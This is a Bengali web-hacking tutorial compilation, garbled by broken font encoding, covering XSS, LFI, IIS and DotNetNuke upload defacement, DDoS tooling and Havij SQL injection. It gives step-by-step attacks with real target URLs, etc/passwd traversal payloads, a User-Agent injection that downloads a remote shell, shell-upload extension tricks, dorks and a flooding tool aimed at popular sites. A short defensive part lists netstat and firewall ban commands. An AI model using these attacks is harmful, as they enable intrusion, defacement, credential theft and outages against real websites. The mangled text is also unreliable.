এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily

একজি হযাকার এিআ Vulnerability সদমে সক কমর

কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা

চছযফ াআচছটয Bypassing restriction

Session Hijacking Malware Attack

Website Defacement Dos attacks

কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর

শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম

অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে

যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক

LFI

যাকাযচছদয

একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র

Local File Inclusionঅজ

অনাচছদয

াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য

পরথচছভ

কতনচছচয PHP সকাডগচছরা

সদখনhellip

$page=$_GET[page] include($page)

gt

উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক

কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ

wwwmywebsitecomindexphppage=productsphp

অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম

এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র

wwwmywebsitecomindexphppage=mypagephp

এখাচছন

সদচছখন mypagephp াতাটি

াবব াচছয

সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-

Warning

include() [functioninclude] Failed opening mypagephp for

inclusion

তাচছর

এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd

এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

এখন

অভযা পাআচছর

পরচছফ

কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip

wwwmywebsitecomindexphppage=products

এখাচছন

একটা কতজকতন রকষয করন সম

php এয

য page=products যচছযচছছ

এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র

$page=$_GET[page]

include($pagelsquophplsquo)

gt

এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpassd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip

etcprofile

etcservices

etcpasswd

etcshadow

etcgroup

etcsecuritygroup

etcsecuritypasswd

etcsecurityuser

etcsecurityenviron

etcsecuritylimits

usrlibsecuritymkuserdefault

এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ

------------------------------------------------------------------------------------------

hellipএবার িঅমরা হযাসকিং মদেবhellip

Requirements

1) Site vulnerable to LFI ( httpwwwsitecom)

2) Remoteshell( httpwwwyourhostingurshelltxt)

3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher

4) Mozilla Firefox Browser

পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা

Google ―Dork

indexphphomepage=

indexphppage=

indexphpindex2=

allinurlindexphppage=

অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন

সমভন

allinurlsitephpsite=

এফায ডক গগচছর কতদচছয াচব কতদন

অভযা

কতনচছছয ভত একটি াআট কতনরাভ

httpwwwfilllpgcoukindexphppage=contactsphp

এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ

httpwwwfilllpgcoukindexphppage=null

তাচছর নীচছচয ভত সদখাচছফ

If you see a list of errors running down the page or missing content

(pictures text etc) then the site is vulnerable and we may continue

otherwise just move on to the next site

Now were going to try and connect to a file which we know exists on Linux

servers etcpasswd

Since indexphp has the rights to connect to a file like contactsphp its

possible that the administrator has forgottten to restrict its access to other

files including the files containing sensitive data

Were going to try to read the file etcpasswd which contains data

on root users etc

অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত

াকতয নীচছচয ভত

এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ

httpwwwfilllpgcoukindexphppage=etcpasswd

মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান

েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG

etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয

httpwwwfilllpgcoukindexphppage=procselfenviron

েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG

এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent

ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip

েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG

এফায

অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর

অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন

েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG

এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং

User-Agent টি এখাচছন সি করন User-Agent এয Tools

ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন

তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন

েসব মদেি http2bpblogspotcom-

kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG

এফায

Ctrl+F সচচছ

―disable_functions খচছজ সফয করন

disable_functions

| no value | no value

এখন

অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান

Edit করন

এফায ―User-Agent টি কতযফতব ন কচছয কতরখন

httpwwwsh3llorgegytxt -O shellphp)gt[

এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]

এফায

এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক

েসব মদেি http3bpblogspotcom-

SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG

কতকছ

সডচছভা

াআট কতরংক কতদরাভ

কতকছ

াআট LFI httppastebinca2385927

কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ

httpwwwyoutubecomwatchv=FP229bKm5v4

httpwwwyoutubecomwatchv=9W9qWAhwaTo

httpwwwyoutubecomwatchv=hMguilRsteY

কাচছটব কত-কতনফবাকতচত টিউনাযtrade

অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ

সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত

অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয

উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ

WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-

00A0C90AB50F

কতরচছখ Enter চান

২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo

ছকতফ

৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address

Google Dork - ldquoPowered by IISrdquo

৪কতিক NextgtNextgtFinish

৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন

এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik

কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয

gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt

কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব

ফাংরা যাকতকং টিউচছটাকতযযার

পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন

ছকতফ

এফায Next ফাটচছন কতিক করন

ছকতফ

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

